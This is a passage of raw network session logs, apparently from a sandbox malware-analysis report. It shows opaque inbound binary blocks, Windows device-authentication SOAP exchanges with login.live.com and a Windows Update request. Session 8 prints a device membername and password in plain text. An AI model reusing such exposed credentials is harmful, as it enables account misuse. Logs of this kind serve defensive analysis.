2024-11-01 12:42:28 UTC	16384	IN	Data Raw: f8 85 64 ee f3 89 ce 11 f7 86 05 ac f4 8f 59 a7 73 8c 4e e9 eb 03 b8 fe e1 0f b7 c3 ea 4a 53 93 ec 1c d6 60 89 ac 29 59 a5 df 21 1c 45 e1 29 4c 44 ea 4d 2a 52 ec b5 8d dc 9f 67 dd f4 65 64 df d4 76 9e 66 7f 99 44 db 92 02 32 bd 83 08 7f a8 9e 40 76 51 41 87 80 1b 3d f3 6b 76 a9 36 8f a2 9b 4f 77 94 a7 00 6d 90 a4 3f 09 68 b6 21 5d 75 a1 45 87 ab 49 43 3c b6 8c 9b 85 99 a2 4b 80 47 2f 98 58 72 f8 93 50 fa 9e 8f c9 ff 7c 1a ce ee 83 8d 57 25 6a fc 3d 7d 4e 0d 37 a8 5f 14 46 a2 70 e8 4d ea e2 d5 58 f7 2e c0 01 7a 4e d1 fa a7 23 d8 09 aa 34 6f f8 38 62 5f 9d 21 0a b5 c9 15 82 b9 e2 14 1e b9 e6 25 22 97 ab 8e 18 b4 7d 97 e6 1f 71 e7 d0 7a a7 70 e2 bf e8 ec e1 3e ac eb e8 da d9 e6 dc 0c de 68 85 21 eb 64 5e f9 23 2c 51 e8 2b 5d 6a ea 2c 93 56 87 0d 99 83 e4 5b Data Ascii: dYsNJS`)Y!E)LDM*RgedvfD2@vQA=kv6Owm?h!]uEIC<KG/XrP\|W%j=}N7_FpMX.zN#4o8b_!%"}qzp>h!d^#,Q+]j,V[
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: e2 28 6d aa d9 fc 57 a7 af 73 d7 bf b4 4d 5e 44 e7 3a 97 a1 a7 71 ad 56 ff 33 40 4d c1 91 57 44 55 d3 e8 25 9a 21 80 51 c0 63 88 9b 9a 73 b4 68 9e ad b3 15 66 19 aa 52 2a cd be 9e e8 42 82 19 8b 26 67 aa e8 39 a1 9b 08 4d 9f e1 e3 16 9c 57 16 cd b8 95 6c 1a 5c 00 fc e2 df 95 db 2c 87 a0 5c 92 b4 30 be 15 37 b6 d4 34 58 20 d7 06 6d db 1a 22 ef 15 b2 3d 9e be e3 9a d7 e9 45 26 a2 fc 9a 75 d7 94 ef 10 50 45 be 2c aa 15 d3 72 ca 40 dc a6 82 e4 1a 34 a1 dd cd 16 84 ab e5 4d 50 6a 8c 31 4a 9f 5d 32 57 b5 e6 3c 21 41 92 4d c2 75 1a 2e b2 be fd 14 53 16 c9 dc d0 b4 8f 41 57 72 f7 3c b8 5c 9a 29 49 bb df 70 b9 de 9a 26 47 c5 18 2a 52 e2 cf 0b 8b 5b 1a 7d a5 54 c9 15 a2 f1 d3 28 ca b5 9a 3c 41 a2 18 2e a7 9f a0 31 07 95 e2 11 a9 54 e1 6d 75 6f d1 1a 59 84 44 4d 85 Data Ascii: (mWsM^D:qV3@MWDU%!QcshfRB&g9MWl\,\074X m"=E&uPE,r@4MPj1J]2W<!AMu.SAWr<\)Ip&GR[}T(<A.1TmuoYDM
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: fa 21 5b 67 ae 0a 05 9a dd 08 8b 57 f5 4c 80 76 ca ef ab 95 d7 3d b3 9d d3 67 46 64 ae 32 2e 41 f0 f8 bf c3 6a cc 54 ae b0 75 5e b4 c9 17 94 10 f3 09 ba 72 65 62 5f 52 ec 06 af ec e2 b3 19 9b e5 69 96 48 da db ac 50 6a 3d cf 86 b2 75 51 9f e8 3a 80 bb 3a 7d a5 4f fa 92 d1 db c1 8d aa 57 ee 25 a9 63 a9 5d 87 5d 18 15 5d b0 d6 31 a8 54 a4 72 d7 ab ea 18 b1 77 f3 11 8f a0 85 0b 87 1c a8 2f b9 19 c9 32 d7 b2 e0 1d 95 98 d8 2d a0 58 f8 b3 1a 94 db f8 4d e5 b7 e5 b9 a0 97 2a 5c 6c e0 71 40 5e 0a 35 b6 a1 f5 c6 a7 4c cf 75 bd 0a 18 3c 5d be a6 27 97 84 c1 2e 54 56 4b af 54 e3 f9 ec 4e 9a 26 36 4b 04 f8 ed 82 c5 e2 d9 bf 94 fb 28 48 a9 b1 10 bc 8c de 4f 27 32 f2 a5 9d 35 c3 62 84 94 c0 06 b2 bb dd 20 b8 fe 9a 35 87 bc 0b e8 9e 85 fb 1d 54 43 4b c2 a7 0e df d8 e7 Data Ascii: ![gWLv=gFd2.AjTu^reb_RiHPj=uQ::}OW%c]]]1Trw/2-XM*\lq@^5Lu<]'.TVKTN&6K(HO'25b 5TCK
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: a0 79 8b a7 a5 cc ad b0 e0 3a 52 b7 22 73 94 41 c0 39 ba 94 dc 6b 9b b3 d7 49 57 b8 f4 7b b4 4f e9 02 db 95 c1 b9 a8 bd c8 0c b3 15 ae 2c f5 a1 66 12 48 b7 ca 09 a4 ae 62 3c ad 57 a1 1b cd bd ec 76 d7 be e9 35 13 62 98 ed b6 d5 9a 62 4d b9 bd 0c eb 75 50 f5 a3 16 b1 39 44 16 da c7 5e a4 dc ec 57 73 1f 3a 0f 99 ed cd bf 6a aa 20 b5 b3 e2 73 d7 4c d5 4f 4b a7 ff 3d 5e 73 09 29 57 4d 1d d2 50 b5 71 31 d9 68 b4 cd b0 15 18 cd a9 5b cd cc 49 a7 e7 90 d7 ef b2 15 97 9b 19 10 8e be e5 3b 97 15 e6 1c b7 b5 fe 15 4d b9 4d 34 91 65 f0 21 d2 95 a8 95 54 5d 1a 05 a9 0f dc 08 a0 95 e9 29 b6 71 e1 0a 59 d2 1a 77 92 b9 f7 b1 57 14 22 13 e9 95 c5 23 4d 90 fa 34 a1 4a 02 cd 9d 56 3b 38 f9 f4 13 c3 1f 95 c0 68 84 a6 41 2c f7 44 ff c7 77 65 a6 11 30 15 d8 8b d7 98 d6 26 50 Data Ascii: y:R"sA9kIW{O,fHb<Wv5bbMuP9D^Ws:j sLOK=^s)WMPq1h[I;MM4e!T])qYwW"#M4JV;8hA,Dwe0&P
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: a2 39 a9 d4 1a 33 a0 45 4a 2f 73 9e bb 2d 9b 70 e6 33 e7 15 cb 23 95 9d d2 3f aa 9f 04 65 48 4e 7a 3b 92 41 70 cd 50 57 ef 09 a5 66 5c 34 13 54 3c d8 af 19 c3 1e 8f 99 25 6d 90 9b d0 4c a3 a6 bb 28 a7 60 bd 88 f0 82 56 8f 58 4e ef b3 01 51 f0 6e b8 15 ef 48 83 07 58 cd 5d 55 9a 3e e7 15 a6 d9 a3 61 cf a0 56 b1 db 26 5b a0 f8 0f 83 2d c2 cd 5d 65 bf 02 a6 ba e2 75 48 d0 ed 61 8b 76 9e 37 5e b1 c4 8f bc a7 d3 2c d7 b7 e2 06 b8 54 9a 36 b1 b5 dc 4a db 15 be 05 87 48 31 32 d7 5f fc 0d 36 53 f6 5f 56 16 a8 1e b7 ad cd 21 d7 3c a2 4d 5e 42 a0 1a d2 53 e0 b1 54 96 f5 4d 3e 15 ed 16 a8 50 69 d9 d7 d9 e8 2e c1 95 f5 36 52 9d 19 ae 58 69 50 24 f7 e1 d0 34 ae 51 bd 6d 97 ae c7 02 4b 95 ef 06 5c 50 f2 7c 53 b5 1e 1e 64 54 3a 66 b2 bb fc 0e 11 8f f2 46 79 29 e3 f4 45 Data Ascii: 93EJ/s-p3#?eHNz;ApPWf\4T<%mL(`VXNQnHX]U>aV&[-]euHav7^,T6JH12_6S_V!<M^BSTM>Pi.6RXiP$4QmK\P\|SdT:fFy)E
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: bd 6b 6b 95 65 30 48 70 ba 06 9c 71 a7 36 2a fd 1a 2f 81 61 a6 fb 56 b4 f5 7c 4e 56 af e3 d6 85 cd 38 80 75 f3 00 b2 b8 bf ce f3 f5 c6 33 5d 89 dd 54 5d d6 68 32 46 2f 95 1b 77 15 69 3b 6b 15 9e 0a a4 55 08 3e a8 53 d5 2b 0c 8d 1a 0e d7 a7 11 d7 0c 1c 9a 7d d7 50 b5 1e d1 6a e2 02 52 40 3d 4c 57 a5 d8 3e e9 f5 45 1a 34 fb 1a 47 1d 15 18 13 88 a5 ce 0f f5 10 48 cd f7 d5 c0 e2 38 a3 29 72 77 4d c7 7e 5e 6b e3 73 bf 1c 49 32 11 9b f2 e9 c1 95 fc fc 57 b2 ee 3b f5 68 39 29 58 79 fa cd b5 a3 d3 34 e8 5a b1 73 7f 80 a1 9d d7 9d 07 cd 4d 4f a2 7a b4 cd d6 3f b6 bb dc cd 49 9f c6 09 81 dc 2c 20 90 15 22 2f b6 aa e5 3c 53 53 b7 19 83 47 3a dc a3 46 ec 1e b7 95 ff 35 83 57 59 31 af 47 d5 8d a9 a7 ee 3b a4 a8 d4 3a d7 b9 78 2d 3c 2d 8a ae 71 95 95 b3 8d ad e4 73 48 Data Ascii: kke0Hpq6*/aV\|NV8u3]T]h2F/wi;kU>S+}PjR@=LW>E4GH8)rwM~^ksI2W;h9)Xy4ZsMOz?I, "/<SSG:F5WY1G;:x-<-qsH
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: ea 21 9b 58 f8 e3 d5 ce 3e cd 33 69 9a 22 4c 16 9a 19 81 ba 5f 3d d7 b1 fa 18 5d 54 12 cd ed be 0b 6c 8b 10 1a 7f 79 5c 1a 77 f6 55 cd 2d e9 9e 4a c9 4c 50 e0 05 9e 95 fe b6 7d ae 59 61 4d 5c 9a dd d7 6c 00 0a 99 56 5c 35 57 66 e3 26 42 6f 0e cd 61 b2 ea 37 9d 61 ce 39 46 65 a7 4f b2 b1 f7 19 53 cd 68 66 9b ab 6a 3a d7 94 3b cd 5f e9 c3 5d 98 ae 38 31 7d b9 1b 67 87 6a d7 2e 49 a3 dc 88 57 b6 e9 29 b1 9f ae ce a5 4f a5 27 46 b2 1a 7c ba a2 24 23 ef 63 ae 3d 0e ab e9 2e 4d 8f e9 04 44 16 c1 6d 5a 77 cb 30 ac 17 f5 39 ba a3 b5 23 4b 52 6a c5 31 63 da 93 a2 bd 1a 76 a0 9d d1 31 95 6a 19 12 f4 9c 44 19 f7 57 15 42 5b 6e bf 17 4c a3 c7 c9 15 4b b7 bb 80 7b d7 53 15 76 93 4d aa 58 81 2f 57 95 e5 3e b0 ab de 1b 16 95 dd 15 92 2b 10 cd 54 6e a2 3e 4a b6 7f 71 d7 Data Ascii: !X>3i"L_=]Tly\wU-JLP}YaM\lV\5Wf&Boa7a9FeOShfj:;_]81}gj.IW)O'F\|$#c=.MDmZw09#KRj1cv1jDWB[nLK{SvMX/W>+Tn>Jq
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: c2 2d 56 8d 9b 9a 4e fd fd a1 8b a4 7d 42 36 3c f0 45 57 a6 e4 15 ec b0 c6 3d 50 78 c3 33 f4 51 d6 12 d4 55 9a 3b 52 45 b0 1a 3f 9c ec 4e 6e 15 a1 31 d7 69 d8 cc aa 99 e1 11 a5 c4 9a d0 45 4e 1a 4f 9f 51 1a b3 5b 6b e8 db f4 90 68 cd d5 7c 9a 1d d5 a7 9a 39 81 85 1a 6b 73 ba 1a 25 b6 99 cb 68 a5 bd b4 11 41 aa 9a bc b4 1e c0 6b 94 95 d7 62 a4 ab e2 a8 8b 95 92 08 9c c8 21 cd c4 4e c6 04 ef 44 e7 2d a4 51 a2 1b 10 1e f3 43 15 ce 19 3e 40 68 14 9b 27 3d b2 76 9a 76 4e 0a 5c b3 c7 69 94 66 e6 61 82 d8 b7 8b 11 c3 db 53 16 99 3a 08 10 4c c7 93 b4 75 ba 0d f5 cd dc ad fd 4b 19 af 96 95 c1 09 d7 11 0c 69 98 9f 51 2d 57 a3 e2 09 54 06 e7 cd 5b b7 50 3e 57 bd 69 8b 56 96 d3 32 b1 40 d0 c3 57 1d fa b3 bc a8 dc 46 9d 95 6a cd cd ef 9a 81 dd 83 4a 4d ab 14 e6 5d 57 Data Ascii: -VN}B6<EW=Px3QU;RE?Nn1iENOQ[kh\|9ks%hAkb!ND-QC>@h'=vvN\ifaS:LuKiQ-WT[P>WiV2@WFjJM]W

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49763	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-01 12:42:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-01 12:42:36 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 01 Nov 2024 12:41:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: f07d1ec4-f0b3-4796-ba6d-cf9ffa1dba2f PPServer: PPV: 30 H: PH1PEPF00011E93 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 01 Nov 2024 12:42:35 GMT Connection: close Content-Length: 1276
2024-11-01 12:42:36 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49764	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:38 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-01 12:42:38 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 62 6c 6e 6f 67 66 68 64 75 78 6c 6c 64 62 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 45 79 73 65 68 64 48 76 57 57 72 4f 67 47 6a 48 48 2f 42 2f 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02blnogfhduxlldb</Membername><Password>EysehdHvWWrOgGjHH/B/</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-11-01 12:42:40 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Fri, 01 Nov 2024 12:41:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_BAY x-ms-request-id: babf1733-dd92-4f8e-b679-71724fe05a9a PPServer: PPV: 30 H: PH1PEPF00011EB9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 01 Nov 2024 12:42:40 GMT Connection: close Content-Length: 17166
2024-11-01 12:42:40 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 33 30 46 36 45 32 43 33 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 63 32 61 37 39 64 32 33 2d 30 33 35 63 2d 34 30 39 35 2d 39 34 64 39 2d 63 33 38 64 66 62 64 30 32 32 36 33 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001130F6E2C3</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="c2a79d23-035c-4095-94d9-c38dfbd02263" LicenseID="3252b20c-d425-4711
2024-11-01 12:42:40 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	62302	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-01 12:42:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-01 12:42:42 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 01 Nov 2024 12:41:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C546_BAY x-ms-request-id: 4d21457a-f2e2-46a1-b6b7-0888161eb31a PPServer: PPV: 30 H: PH1PEPF00011F56 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 01 Nov 2024 12:42:41 GMT Connection: close Content-Length: 11392
2024-11-01 12:42:42 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	62304	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:43 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zcUkYwW74HRy3Cy&MD=4EM2WbO3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-01 12:42:43 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d5ba041d-1f19-47e2-aba2-9e2bc1362836 MS-RequestId: 72c6285d-1fcd-4997-bfde-2f6a44bf0e21 MS-CV: DqRVlm2gFE6RT/My.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 01 Nov 2024 12:42:42 GMT Connection: close Content-Length: 30005
2024-11-01 12:42:43 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
